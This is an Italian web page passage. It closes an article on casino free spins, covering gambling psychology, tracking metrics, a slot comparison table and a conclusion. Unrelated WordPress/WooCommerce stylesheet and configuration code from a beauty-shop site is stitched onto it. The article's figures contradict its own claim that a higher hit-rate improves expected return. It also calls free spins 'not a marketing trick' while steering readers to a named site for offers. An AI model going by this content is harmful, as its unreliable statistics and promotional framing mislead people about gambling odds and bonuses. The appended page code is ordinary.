<p>Il bias di conferma entra in gioco quando il giocatore, dopo aver sperimentato una serie di vittorie con le free spins, tende a cercare informazioni che confermino la propria percezione di “fortuna” e a ignorare i segnali di perdita. Di conseguenza, l’intervallo di tempo trascorso al tavolo digitale aumenta, poiché il cervello associa le spin gratuite a una probabilità più alta di vincita rispetto alla realtà statistica.  </p>
<p>I casinò sfruttano questi fenomeni offrendo le free spins in momenti strategici: ad esempio, subito dopo una sessione di perdita, o durante eventi promozionali che creano un senso di urgenza (“Solo per le prossime 24 ore, 50 free spins”). L’obiettivo è rompere il ciclo di frustrazione del giocatore e reindirizzarlo verso una nuova fase di gioco, più profittevole per l’operatore.  </p>
<p>Studi di psicologia comportamentale indicano che i giocatori che ricevono regolarmente free spins tendono a sviluppare una maggiore fedeltà al sito, poiché percepiscono un “valore aggiunto” continuo. Tuttavia, è fondamentale che i giocatori riconoscano questi meccanismi e mantengano un approccio critico, evitando di lasciarsi guidare esclusivamente dal desiderio di gratificazione immediata.  </p>
<h2>Free Spins e Analisi Statistica Avanzata: Strumenti per il Giocatore Esperto</h2>
<p>I giocatori più esperti spesso si affidano a software di analisi per monitorare l’efficacia delle free spins. Un semplice foglio di calcolo può raccogliere dati quali: data, nome della slot, numero di spin gratuite ricevute, vincite totali, requisito di wagering soddisfatto e valore netto.  </p>
<p>Ecco una lista di metriche chiave da tenere d’occhio:  </p>
<ul>
<li><strong>Hit‑rate</strong>: percentuale di spin gratuite che generano una vincita (es. 23 % su 200 spin).  </li>
<li><strong>Valore medio per spin (VMS)</strong>: totale vincite diviso per numero di spin gratuite (es. 0,75 € per spin).  </li>
<li><strong>Ritorno atteso (ER)</strong>: VMS moltiplicato per la probabilità di soddisfare i requisiti di wagering.  </li>
</ul>
<p>Strumenti come “SpinTracker” o plugin per Excel consentono di visualizzare trend su base settimanale, confrontare slot diverse e identificare quali giochi offrono il miglior rapporto tra hit‑rate e VMS.  </p>
<p>Un esempio di tabella di confronto:  </p>
<table>
<thead>
<tr>
<th>Slot</th>
<th>Hit‑rate</th>
<th>VMS</th>
<th>ER (con wagering 20x)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mystic Fortune 2026</td>
<td>22 %</td>
<td>0,78 €</td>
<td>0,39 €</td>
</tr>
<tr>
<td>Galaxy Quest 2026</td>
<td>18 %</td>
<td>0,92 €</td>
<td>0,46 €</td>
</tr>
<tr>
<td>Neon Lights 2024</td>
<td>25 %</td>
<td>0,65 €</td>
<td>0,33 €</td>
</tr>
</tbody>
</table>
<p>Questa analisi evidenzia che, nonostante un VMS più alto, una hit‑rate più elevata può migliorare l’ER complessivo. Utilizzando questi dati, il giocatore può decidere quali free spins sfruttare e quali ignorare, ottimizzando così il proprio bankroll a lungo termine.  </p>
<h2>Conclusione</h2>
<p>Abbiamo esplorato come la legge dei grandi numeri, le formule di probabilità, le strategie di bankroll management e le innovazioni blockchain si intrecciano per dare forma al mondo delle free spins. Comprendere i meccanismi statistici permette di trasformare un semplice bonus in uno strumento di pianificazione strategica, riducendo il rischio e aumentando il divertimento.  </p>
<p>Le tecnologie emergenti, come gli smart contract di piattaforme crypto, offrono trasparenza e sicurezza dei dati, mentre l’analisi psicologica evidenzia l’importanza di mantenere il controllo emotivo. Consultare risorse affidabili, come il sito Ipacso, può aiutare a restare informati sui migliori approcci e a confrontare le offerte disponibili.  </p>
<p>In definitiva, le free spins non sono un trucco di marketing, ma un’opportunità per i giocatori consapevoli di applicare la scienza della probabilità al proprio divertimento. Utilizzate le conoscenze acquisite, pianificate le vostre sessioni con rigore e ricordate sempre di giocare in modo responsabile.</p>
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<link data-pagespeed-no-defer data-nowprocket data-wpacu-skip data-no-optimize data-noptimize rel='stylesheet' id='nectar-woocommerce-non-critical-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/third-party/woocommerce/woocommerce-non-critical.css?ver=17.0.3' type='text/css' media='all' />
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<link data-pagespeed-no-defer data-nowprocket data-wpacu-skip data-no-optimize data-noptimize rel='stylesheet' id='nectar-ocm-core-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/off-canvas/core.css?ver=17.0.3' type='text/css' media='all' />
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<link rel='stylesheet' id='woof-slideout-tab-css-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/slideout/css/jquery.tabSlideOut.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof-slideout-css-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/slideout/css/slideout.css?ver=1.4.5' type='text/css' media='all' />
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</script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/url_request/js/url_parser.js?ver=1.4.5" id="woof_url_parser-js" defer="defer" data-wp-strategy="defer"></script>
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</script>
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<script type="text/javascript" id="nectar-frontend-js-extra">
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var nectarLove = {"ajaxurl":"https:\/\/thebeautyrx.com\/wp-admin\/admin-ajax.php","postID":"3205","rooturl":"https:\/\/thebeautyrx.com","disqusComments":"false","loveNonce":"a5adc6752f","mapApiKey":""};
var nectarOptions = {"delay_js":"false","smooth_scroll":"false","smooth_scroll_strength":"50","quick_search":"false","react_compat":"disabled","header_entrance":"false","body_border_func":"default","body_border_mobile":"0","dropdown_hover_intent":"default","simplify_ocm_mobile":"0","mobile_header_format":"default","ocm_btn_position":"default","left_header_dropdown_func":"default","ajax_add_to_cart":"1","ocm_remove_ext_menu_items":"remove_images","woo_product_filter_toggle":"1","woo_sidebar_toggles":"true","woo_sticky_sidebar":"0","woo_minimal_product_hover":"default","woo_minimal_product_effect":"default","woo_related_upsell_carousel":"false","woo_product_variable_select":"default","woo_using_cart_addons":"false","view_transitions_effect":""};
var nectar_front_i18n = {"menu":"Menu","next":"Next","previous":"Previous","close":"Close"};
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<script type="text/javascript" src="https://thebeautyrx.com/wp-content/themes/salient/js/build/third-party/flickity.js?ver=2.3.1" id="flickity-js"></script>
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<script type="text/javascript" id="wc-order-attribution-js-extra">
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var wc_order_attribution = {"params":{"lifetime":1.0e-5,"session":30,"base64":false,"ajaxurl":"https:\/\/thebeautyrx.com\/wp-admin\/admin-ajax.php","prefix":"wc_order_attribution_","allowTracking":true},"fields":{"source_type":"current.typ","referrer":"current_add.rf","utm_campaign":"current.cmp","utm_source":"current.src","utm_medium":"current.mdm","utm_content":"current.cnt","utm_id":"current.id","utm_term":"current.trm","utm_source_platform":"current.plt","utm_creative_format":"current.fmt","utm_marketing_tactic":"current.tct","session_entry":"current_add.ep","session_start_time":"current_add.fd","session_pages":"session.pgs","session_count":"udata.vst","user_agent":"udata.uag"}};
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<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=10.7.0" id="wc-order-attribution-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/tooltip/js/tooltipster.bundle.min.js?ver=1.4.5" id="woof_tooltip-js-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/icheck/icheck.min.js?ver=1.4.5" id="icheck-jquery-js"></script>
<script type="text/javascript" id="woof_front-js-extra">
/* <![CDATA[ */
var woof_filter_titles = {"by_price":"by_price","product_brand":"Brands","product_cat":"Product categories","by_text":"by_text","by_instock":"by_instock","by_onsales":"by_onsales","pa_quantity":"Product Quantity"};
var woof_ext_filter_titles = {"woof_author":"By author","stock":"In stock","onsales":"On sale","byrating":"By rating","woof_text":"By text"};
/* ]]> */
</script>
<script type="text/javascript" id="woof_front-js-before">
/* <![CDATA[ */
		const woof_front_nonce = "ef0429e06f";
		var woof_is_permalink =1;
		var woof_shop_page = "";
				var woof_m_b_container =".woocommerce-products-header";
		var woof_really_curr_tax = {};
		var woof_current_page_link = location.protocol + '//' + location.host + location.pathname;
		/*lets remove pagination from woof_current_page_link*/
		woof_current_page_link = woof_current_page_link.replace(/\page\/[0-9]+/, "");
						woof_current_page_link = "https://thebeautyrx.com/shop/";
						var woof_link = 'https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/';
		
		var woof_ajaxurl = "https://thebeautyrx.com/wp-admin/admin-ajax.php";

		var woof_lang = {
		'orderby': "orderby",
		'date': "date",
		'perpage': "per page",
		'pricerange': "price range",
		'menu_order': "menu order",
		'popularity': "popularity",
		'rating': "rating",
		'price': "price low to high",
		'price-desc': "price high to low",
		'clear_all': "Clear All",
		'list_opener': "Сhild list opener",
		};

		if (typeof woof_lang_custom == 'undefined') {
		var woof_lang_custom = {};/*!!important*/
		}

		var woof_is_mobile = 0;
		


		var woof_show_price_search_button = 0;
		var woof_show_price_search_type = 0;
					woof_show_price_search_button = 1;
		
		var woof_show_price_search_type = 1;
		var swoof_search_slug = "swoof";

		
		var icheck_skin = {};
								icheck_skin.skin = "square";
			icheck_skin.color = "blue";
		
		var woof_select_type = 'chosen';


				var woof_current_values = {};
				var woof_lang_loading = "Loading ...";

		
		var woof_lang_show_products_filter = "show products filter";
		var woof_lang_hide_products_filter = "hide products filter";
		var woof_lang_pricerange = "price range";

		var woof_use_beauty_scroll =1;

		var woof_autosubmit =1;
		var woof_ajaxurl = "https://thebeautyrx.com/wp-admin/admin-ajax.php";
		/*var woof_submit_link = "";*/
		var woof_is_ajax = 0;
		var woof_ajax_redraw = 0;
		var woof_ajax_page_num =1;
		var woof_ajax_first_done = false;
		var woof_checkboxes_slide_flag = 1;


		/*toggles*/
		var woof_toggle_type = "text";

		var woof_toggle_closed_text = "+";
		var woof_toggle_opened_text = "-";

		var woof_toggle_closed_image = "https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/img/plus.svg";
		var woof_toggle_opened_image = "https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/img/minus.svg";

		var woof_save_state_checkbox = 1;

		/*indexes which can be displayed in red buttons panel*/
				var woof_accept_array = ["min_price", "orderby", "perpage", "woof_author","stock","onsales","byrating","woof_text","min_rating","product_brand","product_visibility","product_cat","product_tag","pos_product_visibility","pa_quantity"];

		
		/*for extensions*/

		var woof_ext_init_functions = null;
					woof_ext_init_functions = '{"by_author":"woof_init_author","by_instock":"woof_init_instock","by_onsales":"woof_init_onsales","by_text":"woof_init_text","label":"woof_init_labels","select_radio_check":"woof_init_select_radio_check"}';
		

		
		var woof_overlay_skin = "default";

		
 function woof_js_after_ajax_done() { jQuery(document).trigger('woof_ajax_done'); 

}
 var woof_front_sd_is_a=1;var woof_front_show_notes=1;var woof_lang_front_builder_del="Are you sure you want to delete this filter-section?";var woof_lang_front_builder_options="Options";var woof_lang_front_builder_option="Option";var woof_lang_front_builder_section_options="Section Options";var woof_lang_front_builder_description="Description";var woof_lang_front_builder_close="Close";var woof_lang_front_builder_suggest="Suggest the feature";var woof_lang_front_builder_good_to_use="good to use in content areas";var woof_lang_front_builder_confirm_sd="Smart Designer item will be created and attached to this filter section and will cancel current type, proceed?";var woof_lang_front_builder_creating="Creating";var woof_lang_front_builder_shortcode="Shortcode";var woof_lang_front_builder_layout="Layout";var woof_lang_front_builder_filter_section="Section options";var woof_lang_front_builder_filter_redrawing="filter redrawing";var woof_lang_front_builder_filter_redrawn="redrawn";var woof_lang_front_builder_filter_redrawn="redrawn";var woof_lang_front_builder_title_top_info="this functionality is only visible for the site administrator";var woof_lang_front_builder_title_top_info_demo="demo mode is activated, and results are visible only to you";;var woof_lang_front_builder_select="+ Add filter section";
/* ]]> */
</script>
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<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/html_types/checkbox.js?ver=1.4.5" id="woof_checkbox_html_items-js"></script>
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<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/sections/js/sections.js?ver=1.4.5" id="woof_sections_html_items-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/js/html_types/select_radio_check.js?ver=1.4.5" id="woof_select_radio_check_html_items-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/js/front.js?ver=1.4.5" id="woof_sd_html_items-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.jquery.js?ver=1.4.5" id="chosen-drop-down-js"></script>
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<script type="text/javascript" src="https://thebeautyrx.com/wp-includes/js/jquery/ui/slider.min.js?ver=1.13.3" id="jquery-ui-slider-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touch-punch.min.js?ver=10.7.0" id="wc-jquery-ui-touchpunch-js"></script>
<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/js/accounting/accounting.min.js?ver=0.4.2" id="wc-accounting-js"></script>
<script type="text/javascript" id="wc-price-slider-js-extra">
/* <![CDATA[ */
var woocommerce_price_slider_params = {"currency_format_num_decimals":"0","currency_format_symbol":"$","currency_format_decimal_sep":".","currency_format_thousand_sep":",","currency_format":"%s%v"};
/* ]]> */
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<script type="text/javascript" src="https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/js/frontend/price-slider.min.js?ver=10.7.0" id="wc-price-slider-js"></script>
<script type="text/javascript" id="wc-cart-fragments-js-extra">
/* <![CDATA[ */
var wc_cart_fragments_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","cart_hash_key":"wc_cart_hash_7e2b4cb025595cf02f052c8254680737","fragment_name":"wc_fragments_7e2b4cb025595cf02f052c8254680737","request_timeout":"5000"};
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